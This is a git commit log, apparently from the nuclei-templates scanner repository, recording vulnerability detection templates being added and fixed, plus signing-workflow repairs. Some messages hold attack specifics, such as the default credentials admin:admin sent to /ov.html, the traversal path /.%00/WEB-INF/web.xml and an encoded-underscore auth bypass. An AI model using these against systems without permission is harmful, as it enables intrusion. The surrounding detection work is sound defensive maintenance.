ghost 6828697f79 chore: generate CVEs metadata 🤖 2026-09-18 08:56:42 +00:00
Ritik Chaddha e4a2218013 Merge pull request #17244 from projectdiscovery/CVE-2026-86218
CVE-2026-86218 - N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution
2026-09-18 14:26:22 +05:30
Ritik Chaddha 452f1648ed Merge branch 'main' into shreyas-malhotra-patch-1 2026-09-18 14:26:20 +05:30
Ritik Chaddha 115ef18981 Update CVE-2026-82456.yaml 2026-09-18 14:24:58 +05:30
ghost ab407bac3d chore: generate CVEs metadata 🤖 2026-09-18 08:54:33 +00:00
ghost 170e139549 chore: sign templates 🤖 2026-09-18 08:54:29 +00:00
ghost 554c9ea7e6 chore: generate new addition list 🤖 2026-09-18 08:54:20 +00:00
Ritik Chaddha a732176fa1 Merge pull request #17173 from diedromeo/fix/CVE-2020-11991-corrected-template
fix(CVE-2020-11991): correct endpoint path and XML declaration
2026-09-18 14:24:09 +05:30
ghost 3ad8c8dd3b chore: sign templates 🤖 2026-09-18 08:53:54 +00:00
Ritik Chaddha 45f2042c62 Merge pull request #17194 from BENZOOgataga/main
feat(gude): add user creds and version extraction to default-login
2026-09-18 14:23:31 +05:30
Ritik Chaddha c48141658a Merge pull request #17202 from str4k3r/str4k3r/cve-2026-9103
Add CVE-2026-9103 template
2026-09-18 14:23:20 +05:30
ghost 497fe6a102 chore: generate new addition list 🤖 2026-09-18 08:52:26 +00:00
Ritik Chaddha be1cc52538 Update CVE-2026-55549.yaml 2026-09-18 14:22:22 +05:30
ghost 9b9f99ba8d chore: generate new addition list 🤖 2026-09-18 08:52:06 +00:00
ghost ced8e3d7ff chore: sign templates 🤖 2026-09-18 08:51:42 +00:00
Ritik Chaddha 80bc27f7be Merge pull request #17218 from str4k3r/str4k3r/cve-2026-69085-sqli
Add CVE-2026-69085 behavioral SQL injection template
2026-09-18 14:21:20 +05:30
Ritik Chaddha f36ca858db Merge pull request #17212 from str4k3r/str4k3r/cve-2026-13153
Add CVE-2026-13153 template
2026-09-18 14:21:11 +05:30
Ritik Chaddha 2ab5228198 Merge branch 'main' into main 2026-09-18 14:20:18 +05:30
Ritik Chaddha 107afdf337 Merge branch 'main' into fix/CVE-2020-11991-corrected-template 2026-09-18 14:18:35 +05:30
Ritik Chaddha 56dd6d1d38 Update CVE-2026-9103.yaml 2026-09-18 14:17:56 +05:30
Ritik Chaddha 1f8c80c378 Update gude-default-login.yaml 2026-09-18 14:16:38 +05:30
ghost e891f328b6 chore: generate templates checksum 🤖 2026-09-18 08:45:13 +00:00
ghost da48e120d5 chore: generate new addition list 🤖 2026-09-18 08:43:05 +00:00
ghost c93708946c chore: generate CVEs metadata 🤖 2026-09-18 08:42:32 +00:00
ghost 0971d77c42 chore: sign templates 🤖 2026-09-18 08:42:26 +00:00
Ritik Chaddha 1297c6a4ce Merge pull request #17170 from projectdiscovery/Akokonunes-patch-11
Create CVE-2026-1340.yaml - Ivanti EPMM < 12.8.0.0 - Remote Code Execution (PASSIVE)
2026-09-18 14:12:05 +05:30
Ritik Chaddha 9fc21f4866 Merge pull request #17167 from diedromeo/fix/cve-2018-7600-safe-detection
fix(CVE-2018-7600): non-destructive, false-positive-proof RCE detection
2026-09-18 14:11:56 +05:30
Ritik Chaddha eeb2c378ad Merge pull request #17034 from Aryu-RU/fix-cve-2025-29927-matchers-condition
fix(CVE-2025-29927): add missing matchers-condition to the bypass request
2026-09-18 14:11:50 +05:30
Het-Kalariya e48cc0a967 Merge pull request #2 from Het-Kalariya/CVE-2026-42564
Create CVE-2026-42564.yaml for jotty.page vulnerability
2026-09-18 12:52:22 +05:30
Het-Kalariya b917b8e2df Create CVE-2026-42564.yaml for jotty.page vulnerability
Added CVE-2026-42564 for unauthenticated path traversal in jotty.page.
2026-09-18 12:51:53 +05:30
Het-Kalariya 9db9bc65f7 Merge pull request #1 from Het-Kalariya/cve-2026-60137
Add CVE-2026-60137: WordPress Core pre-auth SQLi via WP_Query author_…
2026-09-18 12:37:02 +05:30
Het-Kalariya e2555a64bc Add CVE-2026-60137: WordPress Core pre-auth SQLi via WP_Query author__not_in 2026-09-18 12:36:10 +05:30
ghost c6ad5d8e16 chore: generate templates checksum 🤖 2026-09-18 06:24:27 +00:00
Aman Rawat be0732db4b Update CVE-2026-13153.yaml 2026-09-18 11:54:19 +05:30
ghost 651fef3f2b chore: generate new addition list 🤖 2026-09-18 06:22:07 +00:00
ghost 055d381ce6 chore: generate CVEs metadata 🤖 2026-09-18 06:21:31 +00:00
ghost bc783d574f chore: sign templates 🤖 2026-09-18 06:21:29 +00:00
2fbcb431f8 Added CVE-2021-42392 Template (#17026)
* Added CVE-2021-42392 Template

* Update CVE-2021-42392.yaml

---------

Co-authored-by: Paradox <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
2026-09-18 11:51:07 +05:30
Aman Rawat 1d9ca566c8 Update CVE-2026-69085.yaml 2026-09-18 11:40:35 +05:30
Aman Rawat b47d227a27 Update CVE-2026-55549.yaml 2026-09-18 11:22:27 +05:30
ghost 1f304ec095 chore: generate templates checksum 🤖 2026-09-18 05:41:37 +00:00
ghost b4b8c7020e chore: sign templates 🤖 2026-09-18 05:39:06 +00:00
Aman Rawat d36b6594ec Merge pull request #17263 from Eren-Akdag/fix-gude-default-login-fp
fix: prevent false positive in gude-default-login
2026-09-18 11:08:43 +05:30
ghost 19310867f3 chore: generate templates checksum 🤖 2026-09-18 04:52:48 +00:00
ghost 168afb0ca9 chore: generate new addition list 🤖 2026-09-18 04:51:37 +00:00
ghost 04164b7f22 chore: generate new addition list 🤖 2026-09-18 04:51:08 +00:00
ghost 07f2aab1ab chore: generate CVEs metadata 🤖 2026-09-18 04:51:03 +00:00
ghost 99800b5bf1 chore: sign templates 🤖 2026-09-18 04:50:59 +00:00
Aman RawatandDhiyaneshwaran e57181589a CVE-2026-42018 - JFrog Artifactory - Token Disclosure (#17262)
* Create CVE-2026-42018.yaml

* Update CVE-2026-42018.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-18 10:20:37 +05:30
ghost 395397a0df chore: sign templates 🤖 2026-09-18 04:50:28 +00:00
Roberto Nunes d2f4d804ca Merge pull request #17255 from x3lfyn/main
add unauthenticated etcd v3 API port and RAFT templates
2026-09-18 13:50:08 +09:00
Roberto Nunes 25c0e6d653 Merge branch 'main' into main 2026-09-18 13:49:59 +09:00
ghost c48b066557 chore: generate templates checksum 🤖 2026-09-18 04:44:33 +00:00
ghost 1309a24153 chore: generate new addition list 🤖 2026-09-18 04:42:50 +00:00
ghost 70161aaa2c chore: generate CVEs metadata 🤖 2026-09-18 04:42:09 +00:00
ghost 146a57b2a7 chore: sign templates 🤖 2026-09-18 04:42:04 +00:00
4508f400cc Add CVE-2026-85688 - TEN Framework TMAN Designer <= 0.11.71 - Arbitrary File Read (#17206)
* Add CVE-2026-85688 - TEN Framework TMAN Designer <= 0.11.71 - Arbitrary File Read

* Update CVE-2026-85688.yaml

* Update CVE-2026-85688.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-18 10:11:41 +05:30
ghost cc995d58d5 chore: generate templates checksum 🤖 2026-09-18 03:15:14 +00:00
ghost 42fd61a3a9 chore: sign templates 🤖 2026-09-18 03:12:39 +00:00
ghost fb0e176b79 chore: update KEV and vKEV tags and metadata 🤖 2026-09-18 03:12:16 +00:00
ghost b6ae843db3 chore: generate templates checksum 🤖 2026-09-18 02:07:56 +00:00
ghost 2b5f8a07f1 chore: sign templates 🤖 2026-09-18 02:05:00 +00:00
ghost e41b42a7a4 chore: update EPSS scores 🤖 2026-09-18 02:04:32 +00:00
Tito0015 29b4c44a85 Merge branch 'main' into feature/cve-2025-62593 2026-09-17 15:16:39 -04:00
Aman Rawat 5835a12ddf Update gude-default-login.yaml 2026-09-17 15:16:54 +05:30
Eren-Akdag e0f39553a3 fix(gude-default-login): verify that credentials are actually required
The template sent admin:admin to /ov.html in a single request and
reported a high severity default login whenever the response was 200 and
contained "Control Panel". Nothing verified that the credentials were
required or accepted.

GUDE devices ship with HTTP password protection disabled, so an untouched
device serves /ov.html to any request and ignores the Authorization
header, which was reported as default credentials that were never used.
"Control Panel" on its own is also generic enough to match unrelated web
panels.

An unauthenticated request is now sent first and must return 401 before
the admin:admin response is evaluated.
2026-09-17 12:36:41 +03:00
Aman Rawat 7ec8ea6049 Update 2026-09-17 14:35:06 +05:30
ghost 218254aaf6 chore: generate templates checksum 🤖 2026-09-17 08:10:59 +00:00
ghost 93e983f761 chore: generate templates checksum 🤖 2026-09-17 08:08:13 +00:00
ghost 11306996ed chore: sign templates 🤖 2026-09-17 08:08:07 +00:00
Prince ChaddhaandClaude Opus 5 b7f4530edf Re-sign four code templates carrying contributor signing keys (#17260)
431 of the 435 code and javascript templates are signed with the ProjectDiscovery
key 922c64590222798bb761d5b6d8e72950. Four carry a contributor's own key, left
behind by running `nuclei -sign` locally before submitting:

  code/cves/2016/CVE-2016-8735.yaml   41987585204b393149694b2205534b1a
  code/cves/2020/CVE-2020-13935.yaml  62279eae9ebf191e34eae847adfdbab2
  code/cves/2025/CVE-2025-68926.yaml  2592222ea8b5b5922b8de61fd7ebe9f8
  code/cves/2025/CVE-2025-71260.yaml  41987585204b393149694b2205534b1a

Nuclei rejects them at load time because the signature does not verify, and the
signing workflow cannot repair them, because re-signing a code template that
already carries a signature is refused outright:

  could not sign: cause="re-signing code templates are not allowed for security
  reasons."

That guard is correct — it stops CI laundering untrusted contributor code into a
trusted signature — but it means the only remedy is to remove the stale signature
so the official key can be applied. CVE-2025-71260 had been unrunnable since
March 2026.

Dropping the digest line lets Template Sign pick these up on the next push to
main. The four templates are unchanged otherwise; their code was reviewed, and
their tags already reflect their behaviour (dos on CVE-2020-13935, intrusive on
CVE-2025-71260).

Adds a check so this cannot recur silently: any code or javascript template whose
digest carries a non-ProjectDiscovery fingerprint now fails CI at review time,
with the offending files and the remediation command in the output. Templates
with no digest pass, which is the expected state while awaiting signing.

Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
2026-09-17 13:37:45 +05:30
ghost 59482fcca6 chore: generate templates checksum 🤖 2026-09-17 03:35:04 +00:00
ghost cc938c4559 chore: generate new addition list 🤖 2026-09-17 03:33:34 +00:00
ghost dd3b0918f1 chore: generate CVEs metadata 🤖 2026-09-17 03:32:47 +00:00
ghost ce83a17790 chore: sign templates 🤖 2026-09-17 03:32:42 +00:00
Roberto Nunes b0bcd85b1b Merge pull request #17200 from str4k3r/str4k3r/cve-2026-18072
Add CVE-2026-18072 template
2026-09-17 12:32:22 +09:00
ghost 2df013c4fc chore: generate templates checksum 🤖 2026-09-17 02:08:41 +00:00
ghost 5c7fe11e74 chore: sign templates 🤖 2026-09-17 02:05:52 +00:00
ghost da63425d9a chore: update EPSS scores 🤖 2026-09-17 02:05:25 +00:00
Andrew Smith 6d9a26b044 Update CVE-2021-44528.yaml
Update to improve detection logic that checks headers for ruby specific values
2026-09-16 12:14:33 -04:00
ghost 2fc1447b1e chore: generate templates stats 🤖 2026-09-16 15:00:18 +00:00
Prince Chaddha 893122ffce Merge pull request #17258 from projectdiscovery/fix/re-sign-after-metadata-updates
Re-sign templates after EPSS and KEV metadata updates
2026-09-16 18:50:27 +04:00
ghost 3972b78521 chore: generate templates checksum 🤖 2026-09-16 14:08:02 +00:00
Prince ChaddhaandClaude Opus 5 15a201dc81 Re-sign templates after EPSS and KEV metadata updates
The EPSS and KEV workflows rewrite template YAML on a daily schedule, which
invalidates the signature of every file they touch. Signing is expected to
recover via the push trigger on this workflow, but those jobs commit with
GITHUB_TOKEN and GitHub does not start workflows from such pushes, so nothing
re-signs them until the next human merge lands.

Signature verification is only advisory for http and network templates, but
code and javascript templates are refused outright, so they silently stop
loading. On 2026-09-16 this left 18 code and 13 javascript templates unusable,
including CVE-2026-55040 and CVE-2026-83548, both CISA KEV entries.

workflow_run fires regardless of which actor triggered the upstream run, so
chaining off the two metadata workflows restores signatures as soon as they
finish. The sign job itself also pushes with GITHUB_TOKEN, so this cannot
recurse.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-16 18:05:38 +04:00
ghost 4ced1acb44 chore: sign templates 🤖 2026-09-16 14:04:59 +00:00
Alexey Novikov 725e77561a add templates for unauth etcd v3 API port and RAFT 2026-09-16 15:47:25 +03:00
Tito0015 0ef362d0b8 Merge branch 'main' into feature/cve-2025-62593 2026-09-15 23:51:31 -04:00
Akokonunes 8177ec2a13 Merge branch 'main' into fix-cve-2025-29927-matchers-condition
Resolve conflict in http/cves/2025/CVE-2025-29927.yaml.

This branch adds the missing matchers-condition to the bypass request; main
had meanwhile tightened the header regex matcher and re-signed the template,
so the two sides disagreed on the trailing "# digest:" line.

Resolution: keep both changes - this branch's matchers-condition and main's
regex matchers - and restore the digest line. The digest is regenerated by
template-sign.yml on push to main.
2026-09-16 12:19:47 +09:00
ghost db04474caf chore: update KEV and vKEV tags and metadata 🤖 2026-09-16 03:12:50 +00:00
ghost 70b8e3b990 chore: update EPSS scores 🤖 2026-09-16 02:04:47 +00:00
ghost 6175b0492f chore: generate templates checksum 🤖 2026-09-16 00:06:14 +00:00
ghost 62e5930791 chore: generate new addition list 🤖 2026-09-16 00:04:34 +00:00
ghost ef30dfd853 chore: sign templates 🤖 2026-09-16 00:03:58 +00:00
Roberto Nunes 4c0984af38 Merge pull request #17234 from comradezephyr/main
Add unauthenticated AI/ML infrastructure exposure templates (Ray, ChromaDB, Qdrant, Flowise, Langflow)
2026-09-16 09:03:38 +09:00
Roberto Nunes d0ce36f653 Merge pull request #17235 from diedromeo/fix/CVE-2018-3760-detection-fix
fix(CVE-2018-3760): fix broken detection — add disable-path-automerge and flow
2026-09-16 09:03:25 +09:00
ghost 9cab5e4853 chore: generate templates checksum 🤖 2026-09-15 23:42:07 +00:00
Roberto Nunes 0fc615dd2a Remove extra newline in CVE-2018-3760.yaml 2026-09-16 08:41:06 +09:00
ghost 5a6d8b6040 chore: generate new addition list 🤖 2026-09-15 23:40:19 +00:00
ghost ca1557dc9b chore: generate new addition list 🤖 2026-09-15 23:39:51 +00:00
ghost eb58801b2d chore: sign templates 🤖 2026-09-15 23:39:39 +00:00
Roberto Nunes 9543290a5a Merge pull request #17247 from projectdiscovery/arangodb-auth-bypass-encoded-underscore
ArangoDB - Authentication Bypass via URL-Encoded Underscore (%5f) to RCE
2026-09-16 08:39:18 +09:00
ghost 3b9bc0bf17 chore: generate CVEs metadata 🤖 2026-09-15 23:39:14 +00:00
ghost e37667c544 chore: sign templates 🤖 2026-09-15 23:39:11 +00:00
Roberto Nunes d813a6ab1b Merge pull request #17251 from projectdiscovery/CVE-2026-27960
CVE-2026-27960 - OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
2026-09-16 08:38:51 +09:00
Tito0015 4cb85b99f8 Merge branch 'main' into feature/cve-2025-62593 2026-09-15 14:22:42 -04:00
johnk3r 30e2965460 Create turn-server.yaml 2026-09-15 12:34:36 -03:00
johnk3r b11d400ff5 Create openroaming-portal.yaml 2026-09-15 12:33:34 -03:00
johnk3r 8c23cd6a95 Create cpanel-login-detect.yaml 2026-09-15 12:32:22 -03:00
johnk3r 70feed6bee Add Huawei SSH detection configuration 2026-09-15 12:30:01 -03:00
Zephyr dc0fda6109 Merge branch 'main' into main 2026-09-15 03:43:19 -07:00
Aman Rawat 27478bd241 Merge branch 'main' into fix/CVE-2018-3760-detection-fix 2026-09-15 14:14:04 +05:30
ghost 26219f2472 chore: generate templates checksum 🤖 2026-09-15 08:10:34 +00:00
ghost d3016d1ca4 chore: generate new addition list 🤖 2026-09-15 08:08:39 +00:00
ghost 3da25f5552 chore: generate new addition list 🤖 2026-09-15 08:08:13 +00:00
ghost 6f6d72314f chore: generate new addition list 🤖 2026-09-15 08:08:02 +00:00
ghost c79c1bd0c0 chore: generate CVEs metadata 🤖 2026-09-15 08:07:58 +00:00
ghost bf97da34e0 chore: sign templates 🤖 2026-09-15 08:07:53 +00:00
ghost fee8c945a7 chore: generate new addition list 🤖 2026-09-15 08:07:43 +00:00
Aman Rawat cc70d15eb5 Merge pull request #17250 from projectdiscovery/CVE-2026-0768
CVE-2026-0768 - Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
2026-09-15 13:37:30 +05:30
Aman Rawat 862bbaadac Merge pull request #17249 from projectdiscovery/CVE-2026-59726
CVE-2026-59726 - ruflo MCP Bridge - Unauthenticated RCE via terminal execute
2026-09-15 13:37:10 +05:30
Aman Rawat e62559e93f Merge pull request #17245 from projectdiscovery/CVE-2026-5524
CVE-2026-5524 - Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
2026-09-15 13:36:57 +05:30
Aman Rawat c7be50c3af Merge pull request #17243 from projectdiscovery/CVE-2026-1281
CVE-2026-1281 - Ivanti EPMM <=12.7.0.0 - Unauthenticated Code Injection
2026-09-15 13:36:40 +05:30
ghost 2e6a38c4b2 chore: generate templates checksum 🤖 2026-09-15 08:01:48 +00:00
ghost 6f8ea44f4f chore: generate CVEs metadata 🤖 2026-09-15 08:00:09 +00:00
ghost c803df1857 chore: sign templates 🤖 2026-09-15 08:00:02 +00:00
Aman Rawat 6dad5507b2 Merge pull request #17236 from diedromeo/fix/CVE-2021-34429-path-duplication
fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
2026-09-15 13:29:39 +05:30
ghost b0500d6958 chore: generate new addition list 🤖 2026-09-15 07:59:31 +00:00
ghost 5e2caa0bf2 chore: sign templates 🤖 2026-09-15 07:59:06 +00:00
Aman Rawat 211ad24473 Merge pull request #17229 from str4k3r/codex/cve-2026-59509
Add cve-search CVE-2026-59509 template
2026-09-15 13:28:42 +05:30
ghost 9f5842588e chore: generate templates checksum 🤖 2026-09-15 07:52:22 +00:00
ghost 1d489a08f5 chore: generate new addition list 🤖 2026-09-15 07:52:19 +00:00
ghost 3946ada01a chore: generate CVEs metadata 🤖 2026-09-15 07:51:51 +00:00
ghost fe0b3e02ea chore: sign templates 🤖 2026-09-15 07:51:43 +00:00
ghost 38036d6310 chore: generate new addition list 🤖 2026-09-15 07:51:24 +00:00
Aman Rawat dc18055436 Merge pull request #17225 from str4k3r/str4k3r/cve-2026-59177
Add CVE-2026-59177 template
2026-09-15 13:21:20 +05:30
ghost 2b09d45318 chore: generate CVEs metadata 🤖 2026-09-15 07:50:37 +00:00
ghost 3c6b2b996d chore: sign templates 🤖 2026-09-15 07:50:31 +00:00
Aman Rawat 70e87f66d9 Merge pull request #17215 from str4k3r/str4k3r/cve-2026-27454
Add CVE-2026-27454 template
2026-09-15 13:20:09 +05:30
ghost ebc8faf544 chore: generate new addition list 🤖 2026-09-15 07:50:00 +00:00
ghost 6cf64f5424 chore: generate new addition list 🤖 2026-09-15 07:49:47 +00:00
ghost 9979c2397e chore: generate CVEs metadata 🤖 2026-09-15 07:49:38 +00:00
ghost 55b0c495ad chore: sign templates 🤖 2026-09-15 07:49:31 +00:00
Aman Rawat 3d39364f79 Merge pull request #17207 from str4k3r/str4k3r/cve-2026-28141
Add CVE-2026-28141 template
2026-09-15 13:19:12 +05:30
ghost c482dd1b80 chore: generate CVEs metadata 🤖 2026-09-15 07:49:00 +00:00
ghost 276a34425a chore: sign templates 🤖 2026-09-15 07:48:58 +00:00
Aman Rawat 13c9bbc512 Merge pull request #17198 from str4k3r/str4k3r/cve-2026-29963
Add CVE-2026-29963 template
2026-09-15 13:18:37 +05:30
Aman Rawat 882a2fb665 Merge pull request #17025 from darses/patch-58
Add CVE-2026-81578
2026-09-15 13:18:18 +05:30
ghost 254d105fb0 chore: generate templates checksum 🤖 2026-09-15 07:47:16 +00:00
ghost 0f36ed8088 chore: generate new addition list 🤖 2026-09-15 07:45:02 +00:00
ghost 33c53c80b0 chore: generate CVEs metadata 🤖 2026-09-15 07:44:41 +00:00
ghost 0a693f5ac2 chore: sign templates 🤖 2026-09-15 07:44:34 +00:00
Aman Rawat d015442ee0 Merge pull request #17252 from projectdiscovery/CVE-2026-62382
CVE-2026-62382 - PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass
2026-09-15 13:14:13 +05:30
Dhiyaneshwaran 34784577c0 CVE-2026-62382 - PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass 2026-09-15 12:39:43 +05:30
ghost b8b54c0df8 chore: generate templates checksum 🤖 2026-09-15 05:42:13 +00:00
ghost 792af93066 chore: generate new addition list 🤖 2026-09-15 05:40:34 +00:00
ghost f5e0e79b76 chore: generate new addition list 🤖 2026-09-15 05:40:11 +00:00
ghost ab90ee70ad chore: generate CVEs metadata 🤖 2026-09-15 05:39:37 +00:00
ghost 361d3ae1c5 chore: sign templates 🤖 2026-09-15 05:39:31 +00:00
Roberto Nunes 5d95676d41 Create CVE-2026-85200.yaml (#17248) 2026-09-15 11:09:29 +05:30
Roberto Nunes 263209c61e Create CVE-2026-88062.yaml (#17246) 2026-09-15 11:09:09 +05:30
Dhiyaneshwaran 9f42eeeea9 Update CVE-2026-27960.yaml 2026-09-15 10:57:21 +05:30
Dhiyaneshwaran 9e2f9af2d5 CVE-2026-27960 - OpenCTI <6.9.13 - Authentication Bypass via User Impersonation 2026-09-15 10:42:47 +05:30
Tito0015 78a2c7652b Merge branch 'main' into feature/cve-2025-62593 2026-09-15 00:18:33 -04:00
Dhiyaneshwaran c4b0b64a19 CVE-2026-0768 - Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code 2026-09-15 09:18:43 +05:30
Dhiyaneshwaran bc616c13fa CVE-2026-59726 - ruflo MCP Bridge - Unauthenticated RCE via terminal_execute 2026-09-15 08:58:52 +05:30
ghost f22cdc7ba0 chore: update KEV and vKEV tags and metadata 🤖 2026-09-15 03:13:10 +00:00
Dhiyaneshwaran 4cfb16775a ArangoDB - Authentication Bypass via URL-Encoded Underscore (%5f) to RCE 2026-09-15 08:21:44 +05:30
ghost 3e30f83cd0 chore: update EPSS scores 🤖 2026-09-15 02:05:25 +00:00
Dhiyaneshwaran e040d707e3 Update CVE-2026-82456 YAML with detailed info 2026-09-15 07:32:33 +05:30
ghost eba60257c2 chore: generate templates checksum 🤖 2026-09-15 01:42:31 +00:00
ghost dc7ac108b6 chore: generate new addition list 🤖 2026-09-15 01:40:43 +00:00
Dhiyaneshwaran e2bbc7c36c Delete http/exposures/apis/ray-dashboard-exposure.yaml
Duplicate of https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/ray-dashboard.yaml
2026-09-15 07:10:07 +05:30
ghost b34967473b chore: generate CVEs metadata 🤖 2026-09-15 01:40:03 +00:00
ghost e3c00d736c chore: sign templates 🤖 2026-09-15 01:40:01 +00:00
Roberto Nunes bcc1739b8d Merge pull request #17242 from projectdiscovery/DhiyaneshGeek-patch-2
CVE-2026-41948 - Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal
2026-09-15 10:39:41 +09:00
Dhiyaneshwaran 99abbc10f7 Delete http/exposures/apis/qdrant-api-exposure.yaml
duplicate of - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/unauth-qdrantui.yaml
2026-09-15 07:08:18 +05:30
DhiyaneshGeek 85f7db7121 fix: rewrite templates to use raw requests, DSL matchers, and proper metadata
- Remove chromadb-api-exposure (duplicate of existing chroma-api-exposure)
- Rename exposed-ray-chroma-api to ray-dashboard-exposure
- Add flow + internal:true for multi-step ray template
- Convert all templates to raw requests with DSL matchers
- Add metadata, references, and vendor tags
2026-09-15 06:57:22 +05:30
Dhiyaneshwaran dfeafe447b Refactor CVE-2026-59509.yaml for clarity and consistency
Removed redundant remediation section and adjusted formatting for clarity.
2026-09-15 06:15:13 +05:30
Dhiyaneshwaran c117bdf2a7 Update CVE-2026-27454.yaml 2026-09-15 06:04:50 +05:30
Dhiyaneshwaran 9c159bbede Update CVE-2026-27454.yaml 2026-09-15 06:01:11 +05:30
Dhiyaneshwaran 42fdfa03e6 Update CVE-2026-27454.yaml 2026-09-15 05:56:47 +05:30
Dhiyaneshwaran 55aa5ebdef Update CVE-2026-59177.yaml 2026-09-15 05:52:45 +05:30
Dhiyaneshwaran 64cec83f53 Revise CVE-2026-81578 YAML details
Updated CVE-2026-81578 details including name, description, impact, remediation, and classification. Modified flow and matchers for improved accuracy.
2026-09-15 05:47:01 +05:30
Dhiyaneshwaran 5c35d83962 CVE-2026-5524 - Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE 2026-09-15 04:23:37 +05:30
Dhiyaneshwaran 020a727d4e CVE-2026-86218 - N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution 2026-09-15 04:12:55 +05:30
Dhiyaneshwaran 36e4b0f311 Update CVE-2026-1281.yaml 2026-09-15 04:10:32 +05:30
Dhiyaneshwaran 43d98460ac CVE-2026-1281 - Ivanti EPMM <=12.7.0.0 - Unauthenticated Code Injection 2026-09-15 04:07:46 +05:30
Dhiyaneshwaran e36aef3dbe CVE-2026-41948 - Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal 2026-09-15 03:48:02 +05:30
Tito0015 1fa71da9b6 Merge branch 'main' into feature/cve-2025-62593 2026-09-14 15:31:14 -04:00
ghost cb1b18c501 chore: generate templates checksum 🤖 2026-09-14 19:00:51 +00:00
ghost 2bac3b6ba6 chore: generate new addition list 🤖 2026-09-14 18:58:42 +00:00
ghost 1c6fef8729 chore: sign templates 🤖 2026-09-14 18:58:11 +00:00
Ritik ChaddhaandDhiyaneshwaran 5d042ae59c Create CVE-2026-34234.yaml (#17193)
* Create CVE-2026-34234.yaml

* Update CVE-2026-34234.yaml with additional metadata

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-15 00:27:43 +05:30
Tito0015 6e86990fb4 Merge branch 'main' into feature/cve-2025-62593 2026-09-14 14:47:48 -04:00
ghost 6fbcd30db0 chore: generate templates checksum 🤖 2026-09-14 18:36:50 +00:00
ghost d6441c03f6 chore: generate new addition list 🤖 2026-09-14 18:34:42 +00:00
ghost 11af6fa52d chore: generate CVEs metadata 🤖 2026-09-14 18:34:00 +00:00
ghost 8a3d2952bd chore: sign templates 🤖 2026-09-14 18:33:57 +00:00
Last-STRAKERandRoberto Nunes fb166e501f Add CVE-2026-61736 template (#17197)
* Add CVE-2026-61736 template

* Update CVE-2026-61736.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-15 00:03:34 +05:30
ghost fcd9446d07 chore: generate templates checksum 🤖 2026-09-14 18:31:07 +00:00
ghost 745a1d8c70 chore: generate new addition list 🤖 2026-09-14 18:29:06 +00:00
ghost 2173904400 chore: generate CVEs metadata 🤖 2026-09-14 18:28:16 +00:00
ghost ea65cb995c chore: sign templates 🤖 2026-09-14 18:28:13 +00:00
Last-STRAKERandRoberto Nunes a22751828b Add CVE-2026-26265 template (#17216)
* Add CVE-2026-26265 template

* Update CVE-2026-26265.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:57:53 +05:30
ghost 7221661f64 chore: generate templates checksum 🤖 2026-09-14 18:27:08 +00:00
Tito0015 5890ce0e61 Merge branch 'main' into feature/cve-2025-62593 2026-09-14 14:26:02 -04:00
ghost d3c9c82fc8 chore: generate new addition list 🤖 2026-09-14 18:25:11 +00:00
ghost f38cb8587d chore: generate CVEs metadata 🤖 2026-09-14 18:24:13 +00:00
ghost 9febe4310d chore: sign templates 🤖 2026-09-14 18:24:07 +00:00
Last-STRAKERandRoberto Nunes e5d7ee0172 Add CVE-2026-58191 template (#17226)
* Add CVE-2026-58191 template

* Revise CVE-2026-58191 information and remediation

Updated CVE-2026-58191 details including name, description, impact, remediation, and references.

* Update CVE-2026-58191.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:53:45 +05:30
ghost 9c7e6bf9f0 chore: generate new addition list 🤖 2026-09-14 18:18:47 +00:00
ghost 2f175dddef chore: generate CVEs metadata 🤖 2026-09-14 18:18:11 +00:00
abc9fa3822 Add CVE-2025-57231 - Docmost 0.21.0 - Unauthenticated File Path Traversal (#17230)
* Added CVE-2025-57231 Template

* Update CVE-2025-57231.yaml

---------

Co-authored-by: test <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:47:44 +05:30
Tito0015 9d5d6bdffe Merge branch 'main' into feature/cve-2025-62593 2026-09-14 14:17:18 -04:00
Shreyas Malhotra 427955674f Matcher word fix: the template POSTs to ajax_get_calendar_events but matches on unavailables, a key returned only by the separate ajax_get_calendar_appointments endpoint; the requested endpoint returns unavailability_events. Verified live against Easy!Appointments 1.4.2 (matches) and 1.4.3 (no match, HTTP 403). 2026-09-14 21:50:07 +05:30
shaivarth bc02ad7081 fix: prevent false positives in CVE-2026-31807 2026-09-14 20:57:52 +05:30
wong-hau-pepelu d2379c5b96 Add template for CVE-2026-82456 (argocd-mcp auth bypass) 2026-09-14 03:28:10 -04:00
Parth Bhandari 59a92adf41 fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
The existing template uses `unsafe: true` which causes nuclei to
duplicate the request path (e.g. `/.%00/WEB-INF/web.xml` becomes
`/.%00/WEB-INF/web.xml/.%00/WEB-INF/web.xml`), resulting in zero
detections on vulnerable Jetty instances.

Changes:
- Replace `unsafe: true` with `disable-path-automerge: true` to
  preserve encoded characters without path duplication
- Add `stop-at-first-match: true` since either bypass vector suffices
- Remove `java.sun.com` body matcher — not all web.xml files contain
  this string; `</web-app>` is the universal indicator
- Remove unnecessary `Origin` header

Tested against:
- Jetty 9.4.42 (vulnerable): 1 match via .%00 bypass ✓
